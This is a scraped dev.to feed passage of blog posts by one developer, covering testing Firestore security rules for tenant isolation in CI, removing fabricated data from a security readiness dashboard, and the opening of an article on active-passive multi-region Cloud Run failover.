&lt;span class="nf"&gt;afterAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;beforeEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clearFirestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"owner tenant can read its own report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;alice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;authenticatedContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"alice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"tenant-a"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withSecurityRulesDisabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;setDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"tenant-a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"READY"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;assertSucceeds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"other tenant cannot read it"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;authenticatedContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bob"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"tenant-b"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withSecurityRulesDisabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;setDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"tenant-a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"READY"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;assertFails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"unauthenticated reads fail"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;anon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unauthenticatedContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;assertFails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;anon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"a user with no tenant claim cannot read anything"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;noClaim&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;authenticatedContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"mallory"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;assertFails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getDoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;noClaim&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"readinessReports/r1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last test is the one I care most about. A user who is authenticated but has no &lt;code&gt;tenantId&lt;/code&gt; claim is the exact case that fails in a confusing direction if you write the rule carelessly: &lt;code&gt;request.auth.token.tenantId&lt;/code&gt; is null, the comparison is false, and the read is denied. That is fail-closed, which is what I want — but I want it fail-closed &lt;em&gt;because I tested it&lt;/em&gt;, not because I assumed it. The test pins the behavior down so a future rule edit cannot quietly flip it. Fixtures are seeded with rules disabled, so test setup never depends on the rules being correct — a broken rule cannot make a test pass vacuously by failing to create the fixture.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wiring it into CI
&lt;/h2&gt;

&lt;p&gt;Tests that only run on my laptop are a suggestion. The rules tests run in CI on every pull request that touches &lt;code&gt;firestore.rules&lt;/code&gt;, the test file, or the Firebase config. The CI job is small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install Firebase CLI&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm install -g firebase-tools&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install dependencies&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Start emulators and run rules tests&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;firebase emulators:exec --only firestore "npm run test:rules"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;firebase emulators:exec&lt;/code&gt; starts the emulator, runs the command, and shuts it down — no background-process juggling in CI, no port left listening. The job takes well under a minute for my rule set, which is the whole reason there is no excuse for skipping it.&lt;/p&gt;

&lt;p&gt;The second half of the wiring is the deploy gate. The deploy step for Firestore rules runs only if the rules tests passed in the same pipeline. It is easy to end up with a deploy script that runs &lt;code&gt;firebase deploy --only firestore:rules&lt;/code&gt; from a laptop on a Friday afternoon, bypassing CI entirely. I removed that path: rules deploy from CI only, on merge to main, after the tests pass.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it has actually caught
&lt;/h2&gt;

&lt;p&gt;Since I set this up, the tests have caught three kinds of mistakes, all of them mine:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A claim propagation assumption.&lt;/strong&gt; I added a new collection and wrote its rule assuming the custom claim would be present on every authenticated user. The no-claim test failed, because a freshly registered user does not get the claim until a backend step assigns it. The rule was correct; my mental model of when claims exist was wrong. I fixed the onboarding flow, not the rule — and I only knew which one was wrong because the test isolated the rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A write-path tenant check I forgot.&lt;/strong&gt; I added a create rule that checked the claim against the document being created, then refactored the data model so the tenant lived on a parent document instead. The create test started failing because &lt;code&gt;request.resource.data.tenantId&lt;/code&gt; no longer existed on the new document shape. The old rule would have denied every legitimate create — fail-closed, but broken for real users.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An over-broad read I introduced while debugging.&lt;/strong&gt; I temporarily loosened a read rule to &lt;code&gt;allow read: if request.auth != null&lt;/code&gt; while chasing a different bug, intending to tighten it back. The cross-tenant test failed immediately in CI. Without the test, that line could have shipped and stayed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these were exotic. All three were the kind of edit you make quickly, confidently, and wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the setup still has gaps
&lt;/h2&gt;

&lt;p&gt;Honesty requires saying what this does not cover.&lt;/p&gt;

&lt;p&gt;First, rules tests verify the rules, not the backend. My FastAPI middleware does its own tenant check, and the rules and the middleware can disagree. I test them separately, and I do not have a single test that exercises the full path through the API to Firestore with the rules loaded. That end-to-end check is the next thing to build.&lt;/p&gt;

&lt;p&gt;Second, the emulator is not production. The rules language is the same, but emulator behavior around edge cases — timestamps, &lt;code&gt;request.time&lt;/code&gt;, certain functions — can differ subtly from production evaluation. The tests catch logic errors, not platform quirks. A staging deploy with a smoke test of the real read paths is still necessary.&lt;/p&gt;

&lt;p&gt;Third, custom claims take time to propagate. A claim set by the backend is not instantly visible in every token — the user needs a token refresh. My tests use contexts with claims already set, so they never exercise the propagation delay. In production, a user who was just assigned to a tenant can hit a permission-denied until their token refreshes, and that looks identical to a rules bug. I handle it by forcing a token refresh after tenant assignment, but the test suite does not prove that path works.&lt;/p&gt;

&lt;p&gt;The pattern is still worth it. It moved Firestore rules from "edited by feel" to "changed with a failing test first," the standard I already held everywhere else in the codebase. The rules were the exception because they looked like config. They are not config. They are the authorization boundary for the data, and they deserve the same discipline as any other security code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Firestore rules are authorization logic. Test them like code, not like config.&lt;/li&gt;
&lt;li&gt;Use the Firebase Emulator Suite and &lt;code&gt;@firebase/rules-unit-testing&lt;/code&gt;: seed fixtures with rules disabled, then assert both the allows and the denies.&lt;/li&gt;
&lt;li&gt;Always test the cross-tenant deny, the unauthenticated deny, and the authenticated-but-no-claim case — that last one pins down fail-closed behavior.&lt;/li&gt;
&lt;li&gt;Run rules tests in CI on every change to the rules, and deploy rules from CI only, after the tests pass.&lt;/li&gt;
&lt;li&gt;Expect the tests to catch your own wrong assumptions, not just typos — the claim-propagation mistake was a wrong mental model, and only the test showed it.&lt;/li&gt;
&lt;li&gt;Know the gaps: rules tests do not cover backend middleware agreement, emulator-versus-production quirks, or claim propagation delay. Test those paths separately.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>backend</category>
      <category>database</category>
      <category>security</category>
      <category>testing</category>
    </item>
    <item>
      <title>I Deleted My Own Fake Data: What Building an Honest Readiness Score Taught Me</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Sun, 08 Nov 2026 21:08:47 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/i-deleted-my-own-fake-data-what-building-an-honest-readiness-score-taught-me-51kd</link>
      <guid>https://dev.to/purvanshbhatt/i-deleted-my-own-fake-data-what-building-an-honest-readiness-score-taught-me-51kd</guid>
      <description>&lt;p&gt;Last week I deleted data from my own product. Not a test fixture, not a staging artifact — live data in the readiness platform I am building. The dashboard showed webhook heartbeats that had never fired, a lab node presented as if it were a monitored system, and "verified control" counts that no verification had ever produced. None of it was there to deceive anyone on purpose. Each piece had arrived the same way: I needed a screen to look right while I built the thing behind it, so I put something plausible in its place, and then I kept building and forgot to come back. The screen looked complete. The product was lying.&lt;/p&gt;

&lt;p&gt;I deleted all of it. Then I rebuilt the ingestion so that a number only appears if a real event produced it. This is the story of what that rebuild taught me — not about a framework or a cloud service, but about the engineering choices that decide whether a security score means anything at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the fake data got there
&lt;/h2&gt;

&lt;p&gt;Every solo builder knows this pattern. You are building a dashboard, and the dashboard needs data before the pipeline that produces the data exists. So you seed it. A heartbeat timestamp here, a control count there — just enough to see the layout work. It is the right call in the moment. The mistake is not seeding it. The mistake is shipping the seed as if it were evidence.&lt;/p&gt;

&lt;p&gt;In my case the seeds were of three kinds. The first was synthetic telemetry: webhook heartbeats that fired on a timer inside the app rather than arriving from a real integration, so the dashboard showed a healthy stream that no external system had ever sent. The second was a lab node — a machine I run for testing — listed alongside real monitored systems with no label distinguishing it. The third was the worst: a count of "verified controls" derived from configuration I had written by hand, not from any check that had run. The number looked precise. Precision is what made it dangerous. A vague claim invites scepticism; a specific number invites trust.&lt;/p&gt;

&lt;p&gt;The uncomfortable part is that I only found all three because I went looking. Nothing had broken. No customer had complained, because there was no customer yet — but the habit was already formed, and habits formed before the first customer are the ones that survive contact with the first customer. That is why I deleted the data instead of labelling it and moving on. A label would have been honest enough for a screenshot. It would not have fixed the pipeline that let fake evidence into the system in the first place.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lesson 1: a score is a claim about evidence, not a number
&lt;/h2&gt;

&lt;p&gt;The scoring engine in my platform is deterministic: the same evidence always produces the same score, because the score is computed by plain Python rules and never by a model call. The model writes the narrative around the score — the explanation in plain language — and nothing else. I built it that way on purpose, because a score that changes when you rephrase the prompt is not a measurement, it is a mood.&lt;/p&gt;

&lt;p&gt;But determinism only protects you if the inputs are real. A deterministic function over fabricated evidence produces a perfectly reproducible lie. That is the lesson the fake heartbeats taught me: I had spent my care on making the scoring rules correct and almost none on making sure the evidence feeding them was genuine. The fix was to move the honesty boundary upstream, to the ingestion layer, so that nothing enters the scoring pipeline unless it carries proof it happened.&lt;/p&gt;

&lt;p&gt;The practical version of that is simple and boring, which is why it works. Every ingestion event now arrives with an HMAC signature over its payload, verified against a secret held per source. An event without a valid signature is rejected, not stored. Credentials for those integrations are encrypted at rest with AES-256-GCM. And every event carries its source and its received time, so the score can say not just what it is but when the evidence behind it was last fresh. Boring is the point. The exciting parts of a security product should be the findings, not the plumbing that decides whether the findings are real.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lesson 2: "unable to verify" is a feature, not a failure
&lt;/h2&gt;

&lt;p&gt;The hardest decision in the rebuild was what to show when there is no evidence. The old dashboard never had that problem, because it always had something to show — that was the problem. The new one has four states: ready today, action needed, critical risk, and unable to verify. That last one is the most important, and it was the hardest to keep.&lt;/p&gt;

&lt;p&gt;Every instinct in product building pushes against a screen that says "I don't know." It feels like an unfinished feature. But for a readiness score, "unable to verify" is the only honest answer when the evidence is missing, and it is also the most useful one: it tells the operator exactly what to fix. A control that has never been checked is not a passing control. It is an unknown control, and unknowns are what incident response is made of. I have spent enough time in DFIR work to know that the gap between "we thought it was fine" and "we had never actually checked" is where breaches live.&lt;/p&gt;

&lt;p&gt;So the rule now is: no evidence, no score. Not a low score, not a neutral score — no score, and a clear statement of what is missing and what would produce it. That rule cost me a dashboard that always looked complete. It bought me a product I can defend.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lesson 3: version the rules, or you cannot explain a score from last month
&lt;/h2&gt;

&lt;p&gt;The third change came out of a question I asked myself while rebuilding: if a customer challenges a score from three weeks ago, can I reproduce it? With deterministic rules the answer should be yes — same evidence, same rules, same score. But that is only true if the rules have not changed since, and rules always change. A threshold gets tuned, a control gets redefined, a check gets added. If the score does not record which version of the rules produced it, then last month's score is unreproducible, and an unreproducible score is an undefendable one.&lt;/p&gt;

&lt;p&gt;Every score now carries the rule-set version that produced it, and the rule set itself is versioned in the repository like code, because it is code. Old versions stay available so any historical score can be recomputed from its stored evidence. This is a small amount of bookkeeping and it changes the character of the product: a score stops being a snapshot and becomes an auditable claim. In incident readiness, auditability is not a compliance checkbox. It is the difference between a score you can act on and a score you have to take on faith.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lesson 4: the lab stays in the lab
&lt;/h2&gt;

&lt;p&gt;The lab node taught me the simplest lesson of the four, and the easiest to forget. A test system that appears in the same view as production systems, with no label, is a false positive waiting to happen — or worse, a false negative, because a real system that goes quiet looks normal next to a lab node that was never supposed to be loud. Test data and production data now live in separate projects with separate credentials, and nothing from the lab can reach the scoring pipeline at all. The separation is enforced by infrastructure, not by discipline, because discipline is what failed the first time.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I kept
&lt;/h2&gt;

&lt;p&gt;I did not throw everything out. The deterministic scoring engine survived, because the design was sound — the failure was in what fed it. The four-state readiness report survived, because the states were the right abstraction; they just needed to be fed honestly. And the habit of building in public survived, because writing about the fake data is what made the rebuild real. If I had fixed it quietly, I would have fixed the code and kept the habit that produced it. Saying it out loud is what makes the standard stick.&lt;/p&gt;

&lt;p&gt;The platform now shows fewer impressive numbers than it did a week ago. Some screens show "unable to verify" where they used to show a confident count. That is the trade, and I would make it again: a readiness score is only useful if it is true, and truth in a security product is not a marketing claim. It is an engineering property, built out of signed ingestion, encrypted credentials, real health checks, honest sync states, and versioned rules. Everything else is a dashboard that looks finished while the product underneath it is still pretending.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>buildinpublic</category>
      <category>startup</category>
    </item>
    <item>
      <title>Multi-Region Cloud Run Without a Platform Team: Active-Passive Failover for a Security Service</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Sun, 08 Nov 2026 21:08:07 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/multi-region-cloud-run-without-a-platform-team-active-passive-failover-for-a-security-service-3hl3</link>
      <guid>https://dev.to/purvanshbhatt/multi-region-cloud-run-without-a-platform-team-active-passive-failover-for-a-security-service-3hl3</guid>
      <description>&lt;p&gt;The first time a Cloud Run region had a bad afternoon, my service was not down for long. It was down long enough. A readiness check that customers rely on started timing out, the status page stayed green because my health endpoint only checked the process, and I spent the outage learning that "serverless" and "highly available" are not the same sentence. Cloud Run scales to zero and absorbs traffic spikes beautifully. It does not, by itself, survive a regional incident. That is a design decision you have to make on purpose, and this article is the design I ended up with: an active-passive multi-region setup for a small FastAPI security service, built by one person, with honest numbers about what it costs and what it does not protect against.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape of the setup
&lt;/h2&gt;

&lt;p&gt;There are two regions. One is active and serves all traffic. The other is passive: it runs the same revision, with minimum instances set to zero, and it receives nothing until the load balancer decides the active region is unhealthy. In front of both sits a global external Application Load Balancer with a serverless network endpoint group (NEG) per region. Behind each Cloud Run service is a database the passive region can actually use — and that last sentence is where most of the real work lives.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                    ┌──────────────────────────────┐
                    │  Global external App LB      │
                    │  + Cloud Armor policy        │
                    └──────┬───────────────┬───────┘
                           │               │
              ┌────────────┴────┐  ┌───────┴─────────┐
              │ Serverless NEG  │  │ Serverless NEG  │
              │ us-east1 (active)│ │ us-central1 (passive)│
              └────────┬────────┘  └────────┬────────┘
                       │                    │
              ┌────────┴────────┐  ┌────────┴────────┐
              │ Cloud Run       │  │ Cloud Run       │
              │ (min-instances  │  │ (min-instances  │
              │  = 1, active)   │  │  = 0, standby)  │
              └────────┬────────┘  └────────┬────────┘
                       │                    │
              ┌────────┴────────┐  ┌────────┴────────┐
              │ Cloud SQL       │  │ Cloud SQL       │
              │ (primary)       │  │ (cross-region   │
              │                 │  │  read replica)  │
              └─────────────────┘  └─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything else in this article is a consequence of that diagram: how the load balancer decides a region is dead, how the passive region gets a database it can trust, and how you keep the whole thing cheap enough to leave running.&lt;/p&gt;

&lt;h2&gt;
